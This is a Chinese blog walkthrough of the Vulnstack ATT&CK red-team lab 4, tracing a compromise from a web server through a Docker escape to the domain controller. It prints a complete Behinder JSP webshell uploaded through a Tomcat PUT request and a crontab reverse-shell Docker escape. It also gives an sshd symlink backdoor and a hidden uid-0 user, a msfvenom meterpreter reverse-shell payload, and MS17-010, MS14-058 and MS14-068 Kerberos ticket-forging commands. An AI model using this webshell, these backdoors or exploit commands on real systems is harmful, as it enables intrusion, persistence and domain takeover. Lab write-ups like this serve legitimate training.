[TOC]
ATT&CK红队评估实战靶场四
靶场下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
网络拓扑图:

1 2 3 4 5 6 7 8
| kali: 192.168.157.129
ubuntu: 192.168.157.130 / 192.168.183.129
win7(域成员):192.168.183.131
DC: 192.168.183.132
|
环境搭建
使得攻击机kali能ping通web机ubuntu,且win7能ping通域控DC即可
环境是在Ubuntu上用docker做的,需要手动启动docker容器
1
| sudo docker start ec 17 09 bb da 3d ab ad
|

docker ps查看发现均已开启
外网打点
nmap常规扫描
1
| sudo nmap -sS -P0 192.168.157.128
|

查看2001端口为一个上传页面,buu刷过题,很像s2漏洞的靶场

2002端口为tomcat界面

2003端口为phpmyadmin页面

那么getshell方式有许多了,直接上s2漏扫
get webshell
S2-045 getshell
通过s2漏洞得到root权限

tomcat任意文件写入getshell
CVE-2017-12615 将get请求改成put,传入马子即可

上传一个冰蝎马
完整请求包:
1 2 3 4 5 6 7 8 9 10 11 12 13
| PUT /abin.jsp/ HTTP/1.1 Host: 192.168.157.128:2002 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,zh-HK;q=0.5 Cookie: pma_lang=zh_CN; JSESSIONID=1amx4f9rqaxt5pjiqakj6epn5; phpMyAdmin=41eae42372d0270a264bb8bb47a4d7d4 Connection: close Content-Length: 4
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
|

phpmyadmin 4.8.1 getshell
Docker逃逸
拿下shell后发现是docker环境下的一个shell,需要docker逃逸拿到改主机真实shell

判断是否为docker环境:
1 2
| ls -alh /.dockerenv cat /proc/1/cgroup
|

特权模式docker逃逸
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
创建一个文件夹,将宿主机根目录挂载至容器目录下
1 2 3
| fdisk -l mkdir /111 mount/dev/sda1 /111 #挂载目录 这时在docker环境下会有一个目录/111,而这就是宿主机的目录
|
计划任务反弹shell
在挂载的 tmp 目录下写入一个反弹 shell 命令

写计划任务
1
| sed -i '$a*/1 * * * * root bash /tmp/111.sh ' /111/etc/crontab #使得会弹的shell是以root用户
|
1
| cat /666/etc/crontab #查看计划任务
|


回弹
权限维持
软连接后门的原理是利用了 PAM 配置文件的作用,将 sshd 文件软连接名称设置为 su,这样应用在启动过程中他会去 PAM 配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录。
1 2
| ln -sf /usr/sbin/sshd /tmp/su #设置软连接 /tmp/su -oPort=6060 #连接端口为6060
|
使用shh远程登陆,密码为任意密码,但用户为普通权限,还需要进一步操作

添加 uid 0 用户后门 root 组权限
1
| useradd -p `openssl passwd 123456` -o -u 0 abin #创建一个后门用户abin,权限为root
|
这时使用su abin切换到abin用户

如上图,成功登陆且权限为root
内网渗透
上线msf
制作msf码
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=9091 -f elf > shell.elf
|

上传至目标机器中,并赋予权限

本地设置监听
1 2 3 4 5
| use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.157.129 set lport 9091 run
|

收到会话
信息收集
发现第二个网段,192.168.183

添加一个网段
1
| route add 192.168.183.0 255.255.255.0 2
|
端口扫描
1 2 3 4
| use auxiliary/scanner/portscan/tcp set rhosts 192.168.183.0/24 set threads 20 run
|

扫出了192.168.183.131和192.168.183.137两个存活目标,且开放了445端口,尝试通过ms17010打
MS-17-010
1 2 3 4
| use exploit/windows/smb/ms17_010_eternalblue #攻击模块 set rhost 192.168.183.135 #设置监听地址 set lhost 192.168.183.131 #设置攻击目标 run
|

一直没成功。。。。 每次打ms17010就跟博彩一样 害
既然是靶机,那我就投机取巧,直接在win7上上个马进行上线
上线cs
本地开启cs服务端

此处省略一系列投机取巧的方法。。
Ding!

域内渗透
直接getsystem尝试提权,失败

使用ms14-058提权,成功得到system权限

查看当前所打补丁与该域信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| 主机名: TESTWIN7-PC OS 名称: Microsoft Windows 7 企业版 OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 成员工作站 OS 构件类型: Multiprocessor Free 注册的所有人: testwin7 注册的组织: 产品 ID: 00392-918-5000002-85176 初始安装日期: 2019/12/31, 10:38:42 系统启动时间: 2022/1/18, 1:02:58 系统制造商: VMware, Inc. 系统型号: VMware Virtual Platform 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: AMD64 Family 23 Model 96 Stepping 1 AuthenticAMD ~1796 Mhz BIOS 版本: Phoenix Technologies LTD 6.00, 2020/7/22 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 2,047 MB 可用的物理内存: 1,415 MB 虚拟内存: 最大值: 4,095 MB 虚拟内存: 可用: 3,297 MB 虚拟内存: 使用中: 798 MB 页面文件位置: C:\pagefile.sys 域: demo.com 登录服务器: 暂缺 修补程序: 安装了 37 个修补程序。 [01]: KB2491683 [02]: KB2534111 [03]: KB2564958 [04]: KB2621440 [05]: KB2653956 [06]: KB2654428 [07]: KB2698365 [08]: KB2705219 [09]: KB2736422 [10]: KB2813430 [11]: KB2900986 [12]: KB2937610 [13]: KB2943357 [14]: KB2978120 [15]: KB2984972 [16]: KB2992611 [17]: KB2999226 [18]: KB3004375 [19]: KB3010788 [20]: KB3023215 [21]: KB3031432 [22]: KB3035126 [23]: KB3037574 [24]: KB3045685 [25]: KB3046269 [26]: KB3072305 [27]: KB3074543 [28]: KB3086255 [29]: KB3097989 [30]: KB3101722 [31]: KB3108371 [32]: KB3122648 [33]: KB3127220 [34]: KB3155178 [35]: KB4019990 [36]: KB4040980 [37]: KB976902 网卡: 安装了 1 个 NIC。 [01]: Intel(R) PRO/1000 MT Network Connection 连接名: 本地连接 启用 DHCP: 是 DHCP 服务器: 192.168.183.254 IP 地址 [01]: 192.168.183.138 [02]: fe80::d5a8:ce39:2905:4aca
|
补丁未打ms14-068的,可以使用该漏洞直接拿下域管
抓取到该机器密码为Dotest123

MS14-068拿下域控
获取到sid

打开mimikatz,清除票据

生成票据
1
| MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.138 -p Dotest123
|
注入票据
1
| kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache
|

最后使用计划任务或者直接cs里用跳板跳即可
就这样吧。。。。。